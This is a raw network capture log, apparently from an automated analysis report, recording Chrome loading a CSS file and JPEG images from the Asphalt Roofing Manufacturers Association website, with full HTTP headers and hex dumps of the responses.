2024-04-23 14:54:08 UTC	978	OUT	GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/animation.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/about-arma/join/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0
2024-04-23 14:54:08 UTC	557	IN	HTTP/1.1 404 Not Found Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:08 UTC	7635	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 8000<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.6	49961	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:08 UTC	974	OUT	GET /wp-content/uploads/2017/05/form-500x500.jpg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/about-arma/join/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0
2024-04-23 14:54:08 UTC	519	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:08 GMT Content-Type: image/jpeg Content-Length: 44203 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1c01b68-acab-5b419ed103e00" Accept-Ranges: bytes Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:08 UTC	7673	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 10 ec 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 3b 00 02 00 00 00 0b 00 00 08 4a 87 69 00 04 00 00 00 01 00 00 08 56 9c 9d 00 01 00 00 00 16 00 00 10 ce ea 1c 00 07 00 00 08 0c 00 00 00 3e 00 00 00 00 1c ea 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIF``ExifMM*;JiV>
2024-04-23 14:54:09 UTC	8192	IN	Data Raw: ad 97 dd 97 56 b6 5d 5b 6a f0 a1 44 18 dd 49 e3 4a c4 9d 81 7c 3c 9f 03 a9 bf eb 8b 37 f0 5d 19 e4 80 25 8b 66 d6 ba 14 44 6a e6 32 ea 59 57 32 f3 8e b6 7c 0b 48 50 80 fc e4 f3 1d 26 c2 72 49 49 f0 a9 b5 5f f5 1f 3c 6f 64 f1 65 22 76 c1 33 69 6d 5e 07 3b d8 93 98 cb da 93 7b b2 eb 0f 0f 05 ca 4f eb 8d 5c ce 17 ac 4a fb 79 17 54 07 6a 06 af b2 03 b5 5b 75 0e 00 a4 2d 2b 49 e0 52 6e 23 9c 74 e3 6f 4f d3 97 de 2e 62 59 7e 01 74 c6 de 4f 1c d5 a5 6c 16 e2 26 13 e0 71 3b fc e2 03 b3 21 11 d2 99 8b 2e bb 09 b9 47 1b ff 00 99 07 50 8d e4 9e 26 a5 4e d8 35 38 d8 51 fe 8a ce 93 fa e0 36 b0 8c 25 49 50 ba 48 23 c2 0c 66 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 08 42 01 Data Ascii: V][jDIJ\|<7]%fDj2YW2\|HP&rII_<ode"v3im^;{O\JyTj[u-+IRn#toO.bY~tOl&q;!.GP&N58Q6%IPH#fBBBBBBBBBBBBBBBB
2024-04-23 14:54:09 UTC	8192	IN	Data Raw: 57 1e 52 9b 45 57 49 65 6e 6e 7b ed 5b 13 7f 0f 6c 76 06 64 65 ce 34 c4 75 d6 ba 40 fe 05 a4 54 1b 6a c5 a6 27 58 95 d6 9b dc 15 0b 8b 9f 1c 76 ce 65 7a 92 64 31 4d 75 fa de 1c ac 8a 3b f3 2a 2e 3b 2e e3 3a 9b 2b 26 e4 a4 82 0a 6f f2 c6 9f 0b 7a 8c d0 c5 55 b9 cc 51 89 bb bd 86 d6 14 b9 79 66 94 9e 56 dd 8a 5a 8d ed e4 1f 2c 66 6f 23 5a b1 9b 53 39 f5 4d a8 d1 f2 33 00 d3 ea af 30 fc d4 bb ca 41 71 87 83 a8 52 42 15 a4 85 0d 88 b5 a2 b7 d4 93 80 b0 fc ee 08 99 ae d4 69 52 73 d3 8e 4f 10 db 8f b4 16 5a 08 b6 9d 37 e0 6f bd c4 76 46 71 64 93 39 a7 40 a5 51 a5 aa a9 a2 b3 4d 73 5a 34 cb 72 a0 a7 4e 90 90 35 26 d6 8d a6 50 e5 8f 55 78 48 e1 fe 74 e7 2f 5f 5b dc bf 21 c9 7b 6b 6d a7 51 f0 78 62 e9 bf 75 bd 52 ce 4f 3c e7 06 46 d5 8e 60 4c e2 3c 25 5c a4 cc bd Data Ascii: WREWIenn{[lvde4u@Tj'Xvezd1Mu;*.;.:+&ozUQyfVZ,fo#ZS9M30AqRBiRsOZ7ovFqd9@QMsZ4rN5&PUxHt/_[!{kmQxbuRO<F`L<%\
2024-04-23 14:54:09 UTC	8192	IN	Data Raw: f3 c3 a9 4c bc 20 03 84 e9 b6 1c 3b d3 e7 8f cb ae 1a 4d d2 39 87 16 f7 df d8 cf 79 a1 d7 0d 26 ca 3c c3 8b 7b de 3e c3 3d e6 8a 3f 51 92 b9 78 90 6d 84 e9 a2 fc 7b d3 e7 81 c9 5c bc 29 09 38 4a 9b 61 c0 69 3e 78 fc ba e0 a4 dd 23 98 71 67 7d fd 8c f7 9a 31 d7 0d 26 ca 3c c3 8b 3b de 3e c3 3d e6 80 fd 86 4a e5 e0 04 74 4e 9a 35 71 ef 4e ff 00 ae 1d 4b 65 ef 7b fc 93 a6 f7 bc 3b d3 b7 eb 8f cb ae 1a 4d d2 39 87 16 f7 df d8 cf 79 a3 89 ce 3a 48 bf b0 18 b7 6d bf 03 3f e6 80 fd 8e 4a 65 d9 24 9c 25 4d df 8f 7a 7c f1 cb a9 6c bd ba 48 c2 74 eb a7 da f7 a7 6f d7 1f 8a b3 82 92 80 82 68 38 b0 eb 17 16 a3 3c 6d e5 db 68 c0 ce 2a 49 04 f3 06 2d b0 fe c5 7f cd 01 fa f5 27 97 7f d5 2a 6f d1 3e 78 d4 4c 60 3c a8 96 ab 2a 9c e6 19 92 13 12 e8 0e 38 a0 c2 ca 19 16 2a Data Ascii: L ;M9y&<{>=?Qxm{\)8Jai>x#qg}1&<;>=JtN5qNKe{;M9y:Hm?Je$%Mz\|lHtoh8<mhI-'o>xL`<8
2024-04-23 14:54:09 UTC	8192	IN	Data Raw: ea 49 da 25 68 52 b3 94 fc 71 55 ab 35 46 9c ee 27 65 d2 cf ff 00 08 86 54 95 f2 d7 b2 42 4f ae 0b 28 a8 a8 ee 2d 16 d5 4a f5 2a 86 d2 1d aa d4 a4 a4 1b 70 e9 42 e6 9f 4b 41 47 c0 0a 88 bc 3a 09 54 e5 a5 5d 26 e7 31 b1 6a bc 45 c6 7e ee 30 32 d2 af a6 dd 63 62 db de f7 e5 18 bf ee e3 7a 33 07 07 93 61 8a e8 04 f8 05 41 9f 4a 1d 60 e0 fb 5f a5 74 0b 70 bf 38 33 e9 40 68 93 96 95 74 9b f5 8f 8b 55 e2 2e 33 f7 70 ea ce af a6 dd 63 e2 db f8 79 46 6f fb b8 de 8c c1 c1 ea 36 18 ae 82 7c 95 06 7d 28 75 83 83 ad 7e 96 50 2d ff 00 a8 33 e9 40 68 86 5a 55 c5 ff 00 9c 7c 5a 76 b7 ba 33 f7 70 ea d2 af a6 dd 63 e2 db df 8f 28 cd ff 00 77 1b d1 98 38 3c ff 00 e6 ba 07 87 f0 83 5e 94 3a c2 c1 d6 bf 4a e8 16 f0 f3 83 3e 94 06 88 65 a5 5c 5f f9 c6 c5 aa b8 b6 ee 33 b7 d5 Data Ascii: I%hRqU5F'eTBO(-J*pBKAG:T]&1jE~02cbz3aAJ`_tp83@htU.3pcyFo6\|}(u~P-3@hZU\|Zv3pc(w8<^:J>e\_3
2024-04-23 14:54:09 UTC	3762	IN	Data Raw: 3a bd 81 c5 bb 0b ef 45 7b cd 0e b8 a9 36 07 98 71 6e ff 00 d8 af 79 a2 f3 68 40 41 8c e2 a4 1b fb 03 8b 76 df f0 2b de 68 1c e2 a4 84 83 cc 38 b7 7f ec 67 bc d1 79 0d a0 20 fa e1 a4 94 93 cc 38 b7 6f ec 67 bc d0 39 c3 49 01 27 98 71 6e ff 00 d8 af 79 a2 f2 10 10 63 38 29 24 28 f3 0e 2d ef 7f b1 9e f3 40 e7 0d 24 5a f4 1c 5b bf f6 2b fe 68 bc 84 04 18 ce 2a 49 49 3c c3 8b 76 fe c5 7b cd 03 9c 34 94 da f4 1c 5b b8 be d4 67 8f f0 8b c8 40 41 f5 c3 49 29 2a e6 1c 5b 60 6d f8 15 ef 34 67 ae 0a 4e a0 9e 61 c5 97 22 ff 00 81 9e f3 45 de d0 da 02 0b ae 3a 46 fe c0 62 ef f2 57 fc d1 c8 67 05 24 a8 27 98 71 67 0b fe 06 7b cd 17 70 80 82 eb 92 91 6b f3 0e 2e ff 00 25 7f cd 1c ba df a5 6b d3 cc 38 b2 f6 bf e0 67 ad c3 c9 17 70 da 02 0b ae 3a 45 bf 00 62 ef f2 57 fc Data Ascii: :E{6qnyh@Av+h8gy 8og9I'qnyc8)$(-@$Z[+hII<v{4[g@AI)[`m4gNa"E:FbWg$'qg{pk.%k8gp:EbW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.6	49962	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:08 UTC	991	OUT	GET /wp-content/uploads/2017/05/AdobeStock_104683960-500x500.jpeg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/about-arma/join/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0
2024-04-23 14:54:09 UTC	519	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:08 GMT Content-Type: image/jpeg Content-Length: 56187 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:47 GMT ETag: "1c01665-db7b-5b419ed00fbc0" Accept-Ranges: bytes Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:09 UTC	7673	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 48 00 48 00 00 ff fe 00 1f 43 6f 6d 70 72 65 73 73 65 64 20 62 79 20 6a 70 65 67 2d 72 65 63 6f 6d 70 72 65 73 73 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 f4 01 f4 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 02 03 01 01 00 00 00 00 00 00 00 00 00 00 04 05 03 06 00 02 07 01 08 ff c4 00 46 10 00 02 01 03 03 02 05 01 06 04 Data Ascii: JFIFHHCompressed by jpeg-recompressC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"F
2024-04-23 14:54:09 UTC	8192	IN	Data Raw: b7 86 3b 78 56 20 40 c7 4d c6 ad 3b 06 81 a6 d3 ad de 64 98 28 de bd f1 cd 0b 77 1a 3a 95 72 15 47 76 fe b9 a2 e6 f5 ee 55 60 9f 22 83 b9 96 32 80 14 f3 3e 31 d4 55 39 04 93 12 be 91 0c 0e 5a d5 96 46 63 92 18 65 5b fd 45 79 24 7a 8c 17 11 c3 24 b6 b6 ec cb 94 f2 93 0c 14 75 e6 8d 6d 62 1d 3e 29 6e 2e e2 26 28 a3 24 28 e3 07 1c 52 3b 8b 8b 6f 15 6a 62 e6 c6 7b 9b 76 86 d7 7c 63 00 28 6c 13 93 f9 d4 49 3e 6c b7 6b 8a 19 6b d7 52 47 09 d4 2f a6 f3 e2 b6 5f 4c 51 c5 8d a3 dc 9a 54 8f 65 34 31 dc db a2 80 fd d4 f5 aa f6 a1 6f ae 49 00 4d 43 5c 6f f7 92 51 d5 54 aa 63 68 c7 f5 a7 5e 1c d2 74 ab 08 6d 77 eb 25 8a 92 0a 48 b8 47 38 ec 45 5b 56 2e df a0 e2 dd 9d 6d 59 7c a6 b8 86 4e a0 1e 40 f7 ad 34 eb 68 86 a0 22 b2 8c fa 57 74 8d d0 28 f6 f9 34 ca 33 a7 24 b1 Data Ascii: ;xV @M;d(w:rGvU`"2>1U9ZFce[Ey$z$umb>)n.&($(R;ojb{v\|c(lI>lkkRG/_LQTe41oIMC\oQTch^tmw%HG8E[V.mY\|N@4h"Wt(43$
2024-04-23 14:54:09 UTC	8192	IN	Data Raw: 60 81 99 77 15 57 93 19 2c 4e 32 47 1d 05 7a 4e 85 d0 e7 a9 4b 53 9d b5 89 7e 2f 9a a5 fc 9c ae bf d6 71 68 a2 f1 62 a7 95 f6 5e 17 9b 7f c1 4a f0 f5 ad be 8d 7f 24 71 68 77 1a bb c6 b8 2b b4 fe 2f 73 80 71 f4 a4 3e 3b f1 25 e6 a5 a9 3c 92 69 90 d8 ba 2f 97 e4 c3 18 40 31 ef ee 68 ef 1d 4d 3c 17 d2 a7 de 9f d6 4b 38 4e 01 3f 3c 92 7f 3a e6 9a 8c ac 18 9d c5 be a6 be bf 83 4d a7 d2 e3 52 c3 05 15 5e 3f bf b1 f1 0d 56 ab 51 ad cd 25 a8 9b 93 bf 3f df dc 6f a3 6b 17 96 7a 82 dd 0d 12 5b f5 8b d4 ca a8 58 63 e7 82 3f 6a bc e9 df 6b 7a 1e a3 72 6d ae 74 28 2d 9d b8 4d f6 ca 36 1f fb e3 d8 c3 f4 ae 45 6f a8 cd 63 30 9a da 59 ed e5 1d 1e 19 0a b0 fc c5 35 83 c5 d7 f2 30 fb d4 f1 df 0f ff 00 cc 8d 5d c7 d1 c8 dc 3f 5a e2 eb f0 cf 50 9d 3b fb ce 9e 92 50 c5 49 aa Data Ascii: `wW,N2GzNKS~/qhb^J$qhw+/sq>;%<i/@1hM<K8N?<:MR^?VQ%?okz[Xc?jkzrmt(-M6Eoc0Y50]?ZP;PI
2024-04-23 14:54:09 UTC	8192	IN	Data Raw: 6b a1 da eb f7 9a ad 94 fb f7 2d be f8 a4 56 20 c4 d9 c6 46 0f cd 0d 6e f7 f6 37 53 59 5f 49 29 9a 07 28 e1 d8 9e 9d e9 af d8 c4 91 a7 88 ef 96 42 42 c9 6a 41 c7 fd c2 ad 7f 68 de 17 59 a3 5d 6a ca 33 be 25 0b 32 e3 96 4e cd f9 7f 4a e9 cb 27 bf b5 9e 76 10 f7 2d 1c fe fa 12 f3 25 cc 67 12 27 20 d3 ad 1f 4e 6b 80 9a 8e 85 39 b2 bb 6e 24 89 5b 6a 97 f8 f6 fe 94 9d 64 ca 62 89 f0 ee a3 fe 19 aa 15 2e 15 65 23 01 ba 13 ed 58 75 be d7 1a f6 98 bb af 1e 1a f4 68 c3 aa c4 ab 72 2e 7a 4f da 25 ee 9f 77 f7 0d 7e 23 e9 6d ad 2e dc 3a 7c 91 dc 53 9d 57 ed 02 da d2 43 1e 9d 0f de 88 ff 00 9a c7 09 f9 77 35 b5 ee 85 a6 78 cb 4e 0c 71 0d ea ae 16 51 f8 87 c1 1d c5 66 93 f6 71 6f 1c 6a 75 29 da 57 1f c9 11 c2 fe bd 6b 8d ed 7a 46 4f f9 8c f0 db 25 de 2b b3 7e ab fa 8c Data Ascii: k-V Fn7SY_I)(BBjAhY]j3%2NJ'v-%g' Nk9n$[jdb.e#Xuhr.zO%w~#m.:\|SWCw5xNqQfqoju)WkzFO%+~
2024-04-23 14:54:09 UTC	8192	IN	Data Raw: df ec 8d 24 9e d8 ff 00 c3 7c 7d 58 56 eb 7d 14 6a 36 aa 13 ee 4d 1c 7c 27 a6 81 c0 90 1f fb e8 3b cd 06 da 15 05 64 98 f6 0b bb 3f 95 52 d3 d8 f7 f4 af 4f e5 af cf f8 21 7b c5 9c e6 59 86 07 60 2a 3b ab 98 98 81 00 6d b8 1f 88 77 af 2e f4 a8 f4 eb 25 ba bb b8 f2 77 b6 11 37 02 7a e0 93 ed c8 35 96 36 90 ea 10 b4 96 b7 7b cc 7e 99 14 af e1 6f f2 f5 e7 eb 4e 5a 1c 9e 82 97 d2 dd 0b b4 f2 57 dc ff 00 80 42 85 db 9c 93 f1 4c 42 c9 67 6c b2 44 ee 10 f2 c9 92 32 6a 45 86 cf 4f d3 66 d4 e4 d4 2d 99 a0 62 9e 4e dd c4 9c 80 7b d0 33 6a 4d 7f 6f 71 3d bc 4d 08 89 70 24 6c 10 59 8e 14 05 c6 07 73 f9 53 a1 a2 9c de d6 8e 66 bb e9 2e 8e 31 72 c6 f7 1d 27 ec 93 4f 79 75 2b 8d 4e f2 20 b2 24 23 c8 23 1c 64 f2 71 ef 8c 7e b5 d2 35 9b 1b 1f 10 da c9 a6 de da 25 c5 bb 80 Data Ascii: $\|}XV}j6M\|';d?RO!{Y`*;mw.%w7z56{~oNZWBLBglD2jEOf-bN{3jMoq=Mp$lYsSf.1r'Oyu+N $##dq~5%
2024-04-23 14:54:09 UTC	8192	IN	Data Raw: a5 5b 91 c9 8a 9b 7b 4a e3 cd 75 6b 67 24 17 b0 c9 14 89 94 55 71 8c fb 53 5d 2f 53 d3 3c 43 63 a5 f8 7a e2 59 6d ef 63 25 19 dc e6 39 18 9e 09 e7 80 07 5f a5 2f f1 7e a6 b7 9a 91 b8 95 a7 b8 b8 41 b7 7b 70 a5 bb 60 7c 7b d5 77 4f 7c ea 69 32 92 19 72 c0 d4 8b af 03 a5 29 52 5b b9 1c f8 cf c2 96 be 17 d6 3e ed 6f a9 43 76 08 0d fc 12 7a 1f a8 a5 36 7a 75 a6 a7 78 96 c9 75 e5 4a 72 01 97 85 3f 19 ed 52 de ea d2 cf aa 48 ee 4b 91 81 c8 f6 18 a8 74 c4 3a 86 a5 b4 27 27 2c 6a a5 2a e4 15 8d 34 b9 e5 8c a1 f0 ca c7 72 c8 6e 51 1e 16 e7 8c 86 1f 06 9a 5a f8 53 4a d6 65 75 8e fe 75 9e 1c 65 55 01 0e 3b 11 8a d6 3f 0f 4a fd 05 1f 6b e1 39 9b 93 e9 15 9e 5a b8 57 61 cb 49 93 d4 12 cf 47 d3 1c 4b 03 e9 82 39 63 38 32 5c dc 00 01 fa 53 bd 1f 5d 1a 11 36 4f f7 49 2c Data Ascii: [{Jukg$UqS]/S<CczYmc%9_/~A{p`\|{wO\|i2r)R[>oCvz6zuxuJr?RHKt:'',j*4rnQZSJeuueU;?Jk9ZWaIGK9c82\S]6OI,
2024-04-23 14:54:09 UTC	7554	IN	Data Raw: 29 15 5b 6a 48 a7 1c 73 fb d1 46 9b f1 f8 95 2b 43 7b 9b 6f 2e f2 5c 2e 13 f1 28 f8 3c d0 ef 1f 51 fb 53 38 8b cf a5 da 5c 5d 86 17 45 7c b9 3e 71 43 cd 1c 7b b2 ad f5 06 b2 55 33 4f 75 62 c6 b7 e7 95 06 b2 8c 08 2b 28 81 3a d0 07 03 d6 72 0f e1 23 ad 6e a8 ee d8 65 3c 51 02 d9 59 97 71 dd 8e 46 2b 27 de 49 1b 40 35 9a 8d db 81 a7 88 a8 00 9c 8c f6 ed 5b c5 1a f4 65 c6 ee d5 a8 55 53 92 dc 0e fe f5 22 b0 3e a5 5d c7 38 a8 5d 85 02 ac 00 08 06 3b d4 77 28 40 04 12 41 e3 93 d2 a6 b6 81 98 ee 3c f3 59 70 76 e7 38 c8 a8 50 b8 45 22 b6 d3 ca 75 ce 79 15 23 a2 f9 68 b9 63 9f 73 cd 4e 8a c4 ee 2a 36 e3 93 8e 95 81 40 70 48 07 d8 d0 b0 90 46 9e a1 53 78 03 76 47 e9 4d 19 44 8b b5 bf 0f 71 40 f9 d1 43 b5 76 75 1c 91 44 c7 36 e1 9e 06 6a 10 da 58 e3 c7 e0 18 5e 95 Data Ascii: )[jHsF+C{o.\.(<QS8\]E\|>qC{U3Oub+(:r#ne<QYqF+'I@5[eUS">]8];w(@A<Ypv8PE"uy#hcsN*6@pHFSxvGMDq@CvuD6jX^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.6	49963	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:09 UTC	978	OUT	GET /wp-content/uploads/2017/05/postcard-150x150.jpg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/about-arma/join/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0
2024-04-23 14:54:09 UTC	518	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:09 GMT Content-Type: image/jpeg Content-Length: 5529 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:05:26 GMT ETag: "1c01c6b-1599-5d9f37faedd80" Accept-Ranges: bytes Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:09 UTC	5529	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 08 08 08 08 09 08 09 0a 0a 09 0d 0e 0c 0e 0d 13 11 10 10 11 13 1c 14 16 14 16 14 1c 2b 1b 1f 1b 1b 1f 1b 2b 26 2e 25 23 25 2e 26 44 35 2f 2f 35 44 4e 42 3e 42 4e 5f 55 55 5f 77 71 77 9c 9c d1 01 08 08 08 08 09 08 09 0a 0a 09 0d 0e 0c 0e 0d 13 11 10 10 11 13 1c 14 16 14 16 14 1c 2b 1b 1f 1b 1b 1f 1b 2b 26 2e 25 23 25 2e 26 44 35 2f 2f 35 44 4e 42 3e 42 4e 5f 55 55 5f 77 71 77 9c 9c d1 ff c2 00 11 08 00 96 00 96 03 01 22 00 02 11 01 03 11 01 ff c4 00 33 00 00 02 02 03 01 01 00 00 00 00 00 00 00 00 00 00 05 06 00 04 02 03 07 01 08 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 00 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 e6 8c 68 cc a2 e7 86 d4 a6 94 1d ee 38 ec c4 Data Ascii: 